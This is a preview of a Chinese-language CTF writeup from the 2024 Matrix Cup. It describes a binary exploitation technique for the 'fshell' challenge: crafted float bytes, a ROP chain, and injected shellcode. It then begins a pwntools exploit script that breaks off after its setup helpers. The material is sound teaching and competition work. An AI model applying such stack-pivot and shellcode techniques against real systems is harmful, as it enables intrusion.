矩阵杯 2024 Writeup

文章预览

PWN fshell 通过合理构造，可以控制计算出来的IEEE754单精度浮点数的低三字节，可以设置为 pop 指令码，然后滑栈到ROP链就可以调用 read 系统调用写 shellcode，重新执行 shellcode。 from pwn import * import os from ctypes import * from ae64 import AE64 from Crypto.Util.number import bytes_to_long,bytes_to_long #--------------------setting context--------------------- context.clear(arch= 'i386' , os= 'linux' , log_level= 'debug' ) # context.clear(arch='amd64', os='linux') bk = lambda :(dbg(),pause()) dbg = lambda : gdb.attach(io) mydb = lambda : (lg( "[*] pid ==> " + str (io.__getattr__( "pid" ))), pause()) inter = lambda :io.interactive() re = lambda data: io.recv(data) sd = lambda data: io.send(data) sl = lambda data: io.sendline(data) rl = lambda data: io.recvuntil(data) sa = lambda data, content: io.sendafter(data,content) sla = lambda data, content: io.sendlineafter(data,content) lg = lambda content ………………………………